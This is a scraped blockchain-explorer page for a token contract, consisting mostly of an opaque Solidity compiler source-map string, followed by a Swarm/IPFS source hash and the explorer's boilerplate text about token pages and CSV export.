2042:5004:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6767:86;6837:8;;;;;;;;;;;;-1:-1:-1;;;6837:8:0;;;;6767:86;;;;;;;:::i;:::-;;;;;;;;5806:230;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;5806:230:0;1004:187:1;6654:105:0;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;6654:105:0;1196:177:1;6044:602:0;;;;;;:::i;:::-;;:::i;1534:96::-;1586:7;1613:9;-1:-1:-1;;;;;1613:9:0;1534:96;;;-1:-1:-1;;;;;1875:32:1;;;1857:51;;1845:2;1830:18;1534:96:0;1711:203:1;6956:87:0;2488:2;6956:87;;;2091:4:1;2079:17;;;2061:36;;2049:2;2034:18;6956:87:0;1919:184:1;2999:111:0;;;;;;:::i;:::-;;:::i;:::-;;2885:106;2966:17;;-1:-1:-1;;;;;2966:17:0;2885:106;;2404:39;;;;;;;;;;;;;;;-1:-1:-1;;;2404:39:0;;;;;4959:119;;;;;;:::i;:::-;-1:-1:-1;;;;;5052:18:0;5025:7;5052:18;;;:9;:18;;;;;;;4959:119;3208:138;;;;;;:::i;:::-;-1:-1:-1;;;;;3305:33:0;3278:7;3305:33;;;:24;:33;;;;;;;3208:138;6861:87;6933:7;;;;;;;;;;;;-1:-1:-1;;;6933:7:0;;;;6861:87;;2450:40;;2488:2;2450:40;;4338:613;;;;;;:::i;:::-;;:::i;5086:536::-;;;;;;:::i;:::-;;:::i;2497:74::-;;;:::i;1793:242::-;;;:::i;3601:565::-;;;;;;:::i;:::-;;:::i;5630:168::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5751:30:0;;;5724:7;5751:30;;;:18;:30;;;;;;;;:39;;;;;;;;;;;;;5630:168;2354:43;;;;;;;;;;;;;;;-1:-1:-1;;;2354:43:0;;;;;4174:156;;;;;;:::i;:::-;;:::i;3354:239::-;;;;;;:::i;:::-;;:::i;5806:230::-;1176:10;5886:4;5903:34;;;:18;:34;;;;;;;;-1:-1:-1;;;;;5903:43:0;;;;;;;;;;;:49;;;5968:38;;1342:25:1;;;5886:4:0;;5903:43;;1176:10;;5968:38;;1315:18:1;5968:38:0;;;;;;;-1:-1:-1;6024:4:0;5806:230;;;;;:::o;6654:105::-;6709:7;2551:19;2488:2;2551;:19;:::i;:::-;2539:32;;:8;:32;:::i;:::-;6729:22;;6654:105;:::o;6044:602::-;-1:-1:-1;;;;;6163:24:0;;6138:4;6163:24;;;:18;:24;;;;;;;;1176:10;6163:40;;;;;;;;:47;-1:-1:-1;6163:47:0;6155:85;;;;-1:-1:-1;;;6155:85:0;;8824:2:1;6155:85:0;;;8806:21:1;8863:2;8843:18;;;8836:30;8902:27;8882:18;;;8875:55;8947:18;;6155:85:0;;;;;;;;;-1:-1:-1;;;;;3305:33:0;;6253:28;3305:33;;;:24;:33;;;;;;6327:24;;6323:129;;6383:20;6376:3;:27;6368:72;;;;-1:-1:-1;;;6368:72:0;;9178:2:1;6368:72:0;;;9160:21:1;;;9197:18;;;9190:30;9256:34;9236:18;;;9229:62;9308:18;;6368:72:0;8976:356:1;6368:72:0;-1:-1:-1;;;;;6464:15:0;;;;;;:9;:15;;;;;:22;;6483:3;;6464:15;:22;;6483:3;;6464:22;:::i;:::-;;;;-1:-1:-1;;;;;;;6497:13:0;;;;;;:9;:13;;;;;:20;;6514:3;;6497:13;:20;;6514:3;;6497:20;:::i;:::-;;;;-1:-1:-1;;;;;;;6528:24:0;;;;;;:18;:24;;;;;;;;1176:10;6528:40;;;;;;;:47;;6572:3;;6528:24;:47;;6572:3;;6528:47;:::i;:::-;;;;;;;;6608:2;-1:-1:-1;;;;;6593:23:0;6602:4;-1:-1:-1;;;;;6593:23:0;-1:-1:-1;;;;;;;;;;;6612:3:0;6593:23;;;;1342:25:1;;1330:2;1315:18;;1196:177;6593:23:0;;;;;;;;-1:-1:-1;6634:4:0;;6044:602;-1:-1:-1;;;;6044:602:0:o;2999:111::-;1586:7;1613:9;-1:-1:-1;;;;;1613:9:0;1176:10;1683:31;1675:90;;;;-1:-1:-1;;;1675:90:0;;;;;;;:::i;:::-;3072:17:::1;:30:::0;;-1:-1:-1;;;;;;3072:30:0::1;-1:-1:-1::0;;;;;3072:30:0;;;::::1;::::0;;;::::1;::::0;;2999:111::o;4338:613::-;4539:4;;4556:366;4580:8;:15;4576:1;:19;4556:366;;;4637:8;4646:1;4637:11;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4622:39:0;4631:4;-1:-1:-1;;;;;4622:39:0;-1:-1:-1;;;;;;;;;;;4650:7:0;4658:1;4650:10;;;;;;;;:::i;:::-;;;;;;;4622:39;;;;1342:25:1;;1330:2;1315:18;;1196:177;4622:39:0;;;;;;;;4769:8;4778:1;4769:11;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4681:100:0;4686:42;-1:-1:-1;;;;;4681:100:0;;4730:7;4738:1;4730:10;;;;;;;;:::i;:::-;;;;;;;4742:1;4745;4748:16;4765:1;4748:19;;;;;;;;:::i;:::-;;;;;;;;;;;;4681:100;;;10394:25:1;;;10435:18;;;10428:34;;;;10478:18;;10471:34;10536:2;10521:18;;10514:34;10381:3;10366:19;4681:100:0;;;;;;;4803:12;-1:-1:-1;;;;;4796:30:0;;4827:8;4836:1;4827:11;;;;;;;;:::i;:::-;;;;;;;4840:4;4846:16;4863:1;4846:19;;;;;;;;:::i;:::-;;;;;;;;;;;4796:70;;-1:-1:-1;;;;;;4796:70:0;;;;;;;-1:-1:-1;;;;;10817:15:1;;;4796:70:0;;;10799:34:1;10869:15;;;;10849:18;;;10842:43;10901:18;;;10894:34;10734:18;;4796:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;4886:24:0;;;-1:-1:-1;;;;;11462:15:1;;;11444:34;;11514:15;;11509:2;11494:18;;11487:43;4886:24:0;;11368:18:1;4886:24:0;;;;;;;4597:3;;;;:::i;:::-;;;;4556:366;;;-1:-1:-1;4939:4:0;;4338:613;-1:-1:-1;;;;;;;;4338:613:0:o;5086:536::-;1176:10;5162:4;5187:25;;;:9;:25;;;;;;:32;-1:-1:-1;5187:32:0;5179:65;;;;-1:-1:-1;;;5179:65:0;;11883:2:1;5179:65:0;;;11865:21:1;11922:2;11902:18;;;11895:30;-1:-1:-1;;;11941:18:1;;;11934:50;12001:18;;5179:65:0;11681:344:1;5179:65:0;5257:28;5288:38;1176:10;5311:14;1078:117;5288:38;5257:69;-1:-1:-1;5341:24:0;;5337:129;;5397:20;5390:3;:27;5382:72;;;;-1:-1:-1;;;5382:72:0;;9178:2:1;5382:72:0;;;9160:21:1;;;9197:18;;;9190:30;9256:34;9236:18;;;9229:62;9308:18;;5382:72:0;8976:356:1;5382:72:0;1176:10;5478:25;;;;:9;:25;;;;;:32;;5507:3;;5478:25;:32;;5507:3;;5478:32;:::i;:::-;;;;-1:-1:-1;;;;;;;5521:13:0;;;;;;:9;:13;;;;;:20;;5538:3;;5521:13;:20;;5538:3;;5521:20;:::i;:::-;;;;-1:-1:-1;;5559:33:0;;1342:25:1;;;-1:-1:-1;;;;;5559:33:0;;;1176:10;;-1:-1:-1;;;;;;;;;;;5559:33:0;1330:2:1;1315:18;5559:33:0;;;;;;;;-1:-1:-1;5610:4:0;;5086:536;-1:-1:-1;;;5086:536:0:o;2497:74::-;2551:19;2488:2;2551;:19;:::i;:::-;2539:32;;:8;:32;:::i;:::-;2497:74;:::o;1793:242::-;1586:7;1613:9;-1:-1:-1;;;;;1613:9:0;1176:10;1683:31;1675:90;;;;-1:-1:-1;;;1675:90:0;;;;;;;:::i;:::-;1890:9:::1;::::0;;1870:83:::1;::::0;1909:42:::1;::::0;-1:-1:-1;;;;;1890:9:0;;::::1;::::0;1870:83:::1;::::0;::::1;1964:9;:63:::0;;-1:-1:-1;;;;;;1964:63:0::1;1984:42;1964:63;::::0;;1793:242::o;3601:565::-;2966:17;;-1:-1:-1;;;;;2966:17:0;1176:10;2781:33;2773:84;;;;-1:-1:-1;;;2773:84:0;;;;;;;:::i;:::-;3788:9:::1;3783:376;3807:13;:20;3803:1;:24;3783:376;;;3849:19;3871:13;3885:1;3871:16;;;;;;;;:::i;:::-;;;;;;;3849:38;;3933:1;-1:-1:-1::0;;;;;3910:25:0::1;:11;-1:-1:-1::0;;;;;3910:25:0::1;::::0;3902:63:::1;;;::::0;-1:-1:-1;;;3902:63:0;;12995:2:1;3902:63:0::1;::::0;::::1;12977:21:1::0;13034:2;13014:18;;;13007:30;13073:27;13053:18;;;13046:55;13118:18;;3902:63:0::1;12793:349:1::0;3902:63:0::1;-1:-1:-1::0;;;;;4003:22:0;::::1;3982:18;4003:22:::0;;;:9:::1;:22;::::0;;;;;;;;;;4040:35;;;;4097:50;;13321:25:1;;;13362:18;;;13355:34;;;4003:22:0;;4097:50:::1;::::0;13294:18:1;4097:50:0::1;;;;;;;3834:325;;3829:3;;;;;:::i;:::-;;;;3783:376;;;;3601:565:::0;;:::o;4174:156::-;4250:4;4288:3;-1:-1:-1;;;;;4272:28:0;4281:5;-1:-1:-1;;;;;4272:28:0;-1:-1:-1;;;;;;;;;;;4293:6:0;4272:28;;;;1342:25:1;;1330:2;1315:18;;1196:177;3354:239:0;2966:17;;-1:-1:-1;;;;;2966:17:0;1176:10;2781:33;2773:84;;;;-1:-1:-1;;;2773:84:0;;;;;;;:::i;:::-;3475:6:::1;3470:116;3487:19:::0;;::::1;3470:116;;;3568:6;3528:24;:37;3553:8;;3562:1;3553:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3528:37:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;3528:37:0;:46;3508:3;::::1;::::0;::::1;:::i;:::-;;;;3470:116;;;;3354:239:::0;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;2108:186::-;2167:6;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;:::-;2249:39;2108:186;-1:-1:-1;;;2108:186:1:o;2299:127::-;2360:10;2355:3;2351:20;2348:1;2341:31;2391:4;2388:1;2381:15;2415:4;2412:1;2405:15;2431:275;2502:2;2496:9;2567:2;2548:13;;-1:-1:-1;;2544:27:1;2532:40;;2602:18;2587:34;;2623:22;;;2584:62;2581:88;;;2649:18;;:::i;:::-;2685:2;2678:22;2431:275;;-1:-1:-1;2431:275:1:o;2711:183::-;2771:4;2804:18;2796:6;2793:30;2790:56;;;2826:18;;:::i;:::-;-1:-1:-1;2871:1:1;2867:14;2883:4;2863:25;;2711:183::o;2899:668::-;2953:5;3006:3;2999:4;2991:6;2987:17;2983:27;2973:55;;3024:1;3021;3014:12;2973:55;3060:6;3047:20;3086:4;3110:60;3126:43;3166:2;3126:43;:::i;:::-;3110:60;:::i;:::-;3204:15;;;3290:1;3286:10;;;;3274:23;;3270:32;;;3235:12;;;;3314:15;;;3311:35;;;3342:1;3339;3332:12;3311:35;3378:2;3370:6;3366:15;3390:148;3406:6;3401:3;3398:15;3390:148;;;3472:23;3491:3;3472:23;:::i;:::-;3460:36;;3516:12;;;;3423;;3390:148;;;-1:-1:-1;3556:5:1;2899:668;-1:-1:-1;;;;;;2899:668:1:o;3572:662::-;3626:5;3679:3;3672:4;3664:6;3660:17;3656:27;3646:55;;3697:1;3694;3687:12;3646:55;3733:6;3720:20;3759:4;3783:60;3799:43;3839:2;3799:43;:::i;3783:60::-;3877:15;;;3963:1;3959:10;;;;3947:23;;3943:32;;;3908:12;;;;3987:15;;;3984:35;;;4015:1;4012;4005:12;3984:35;4051:2;4043:6;4039:15;4063:142;4079:6;4074:3;4071:15;4063:142;;;4145:17;;4133:30;;4183:12;;;;4096;;4063:142;;4239:184;4307:20;;-1:-1:-1;;;;;4356:42:1;;4346:53;;4336:81;;4413:1;4410;4403:12;4428:1121;4616:6;4624;4632;4640;4648;4656;4664;4717:3;4705:9;4696:7;4692:23;4688:33;4685:53;;;4734:1;4731;4724:12;4685:53;4757:29;4776:9;4757:29;:::i;:::-;4747:39;;4837:2;4826:9;4822:18;4809:32;4860:18;4901:2;4893:6;4890:14;4887:34;;;4917:1;4914;4907:12;4887:34;4940:61;4993:7;4984:6;4973:9;4969:22;4940:61;:::i;:::-;4930:71;;5054:2;5043:9;5039:18;5026:32;5010:48;;5083:2;5073:8;5070:16;5067:36;;;5099:1;5096;5089:12;5067:36;5122:63;5177:7;5166:8;5155:9;5151:24;5122:63;:::i;:::-;5112:73;;5238:2;5227:9;5223:18;5210:32;5194:48;;5267:2;5257:8;5254:16;5251:36;;;5283:1;5280;5273:12;5251:36;;5306:63;5361:7;5350:8;5339:9;5335:24;5306:63;:::i;:::-;5296:73;;;5388:39;5422:3;5411:9;5407:19;5388:39;:::i;:::-;5378:49;;5446:39;5480:3;5469:9;5465:19;5446:39;:::i;:::-;5436:49;;5504:39;5538:3;5527:9;5523:19;5504:39;:::i;:::-;5494:49;;4428:1121;;;;;;;;;;:::o;5554:416::-;5647:6;5655;5708:2;5696:9;5687:7;5683:23;5679:32;5676:52;;;5724:1;5721;5714:12;5676:52;5764:9;5751:23;5797:18;5789:6;5786:30;5783:50;;;5829:1;5826;5819:12;5783:50;5852:61;5905:7;5896:6;5885:9;5881:22;5852:61;:::i;:::-;5842:71;5960:2;5945:18;;;;5932:32;;-1:-1:-1;;;;5554:416:1:o;5975:260::-;6043:6;6051;6104:2;6092:9;6083:7;6079:23;6075:32;6072:52;;;6120:1;6117;6110:12;6072:52;6143:29;6162:9;6143:29;:::i;:::-;6133:39;;6191:38;6225:2;6214:9;6210:18;6191:38;:::i;:::-;6181:48;;5975:260;;;;;:::o;6240:689::-;6335:6;6343;6351;6404:2;6392:9;6383:7;6379:23;6375:32;6372:52;;;6420:1;6417;6410:12;6372:52;6460:9;6447:23;6489:18;6530:2;6522:6;6519:14;6516:34;;;6546:1;6543;6536:12;6516:34;6584:6;6573:9;6569:22;6559:32;;6629:7;6622:4;6618:2;6614:13;6610:27;6600:55;;6651:1;6648;6641:12;6600:55;6691:2;6678:16;6717:2;6709:6;6706:14;6703:34;;;6733:1;6730;6723:12;6703:34;6788:7;6781:4;6771:6;6768:1;6764:14;6760:2;6756:23;6752:34;6749:47;6746:67;;;6809:1;6806;6799:12;6746:67;6840:4;6832:13;;;;6864:6;;-1:-1:-1;6902:20:1;;;;6889:34;;6240:689;-1:-1:-1;;;;6240:689:1:o;6934:127::-;6995:10;6990:3;6986:20;6983:1;6976:31;7026:4;7023:1;7016:15;7050:4;7047:1;7040:15;7066:422;7155:1;7198:5;7155:1;7212:270;7233:7;7223:8;7220:21;7212:270;;;7292:4;7288:1;7284:6;7280:17;7274:4;7271:27;7268:53;;;7301:18;;:::i;:::-;7351:7;7341:8;7337:22;7334:55;;;7371:16;;;;7334:55;7450:22;;;;7410:15;;;;7212:270;;;7216:3;7066:422;;;;;:::o;7493:806::-;7542:5;7572:8;7562:80;;-1:-1:-1;7613:1:1;7627:5;;7562:80;7661:4;7651:76;;-1:-1:-1;7698:1:1;7712:5;;7651:76;7743:4;7761:1;7756:59;;;;7829:1;7824:130;;;;7736:218;;7756:59;7786:1;7777:10;;7800:5;;;7824:130;7861:3;7851:8;7848:17;7845:43;;;7868:18;;:::i;:::-;-1:-1:-1;;7924:1:1;7910:16;;7939:5;;7736:218;;8038:2;8028:8;8025:16;8019:3;8013:4;8010:13;8006:36;8000:2;7990:8;7987:16;7982:2;7976:4;7973:12;7969:35;7966:77;7963:159;;;-1:-1:-1;8075:19:1;;;8107:5;;7963:159;8154:34;8179:8;8173:4;8154:34;:::i;:::-;8224:6;8220:1;8216:6;8212:19;8203:7;8200:32;8197:58;;;8235:18;;:::i;:::-;8273:20;;7493:806;-1:-1:-1;;;7493:806:1:o;8304:140::-;8362:5;8391:47;8432:4;8422:8;8418:19;8412:4;8391:47;:::i;8449:168::-;8522:9;;;8553;;8570:15;;;8564:22;;8550:37;8540:71;;8591:18;;:::i;9337:128::-;9404:9;;;9425:11;;;9422:37;;;9439:18;;:::i;9470:125::-;9535:9;;;9556:10;;;9553:36;;;9569:18;;:::i;9600:410::-;9802:2;9784:21;;;9841:2;9821:18;;;9814:30;9880:34;9875:2;9860:18;;9853:62;-1:-1:-1;;;9946:2:1;9931:18;;9924:44;10000:3;9985:19;;9600:410::o;10015:127::-;10076:10;10071:3;10067:20;10064:1;10057:31;10107:4;10104:1;10097:15;10131:4;10128:1;10121:15;10939:277;11006:6;11059:2;11047:9;11038:7;11034:23;11030:32;11027:52;;;11075:1;11072;11065:12;11027:52;11107:9;11101:16;11160:5;11153:13;11146:21;11139:5;11136:32;11126:60;;11182:1;11179;11172:12;11541:135;11580:3;11601:17;;;11598:43;;11621:18;;:::i;:::-;-1:-1:-1;11668:1:1;11657:13;;11541:135::o;12030:402::-;12232:2;12214:21;;;12271:2;12251:18;;;12244:30;12310:34;12305:2;12290:18;;12283:62;-1:-1:-1;;;12376:2:1;12361:18;;12354:36;12422:3;12407:19;;12030:402::o

Swarm Source

ipfs://3d0012158a5b96a8caaa7500943233191c90f64436cf0ed9c6675e0f0dee6fc6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.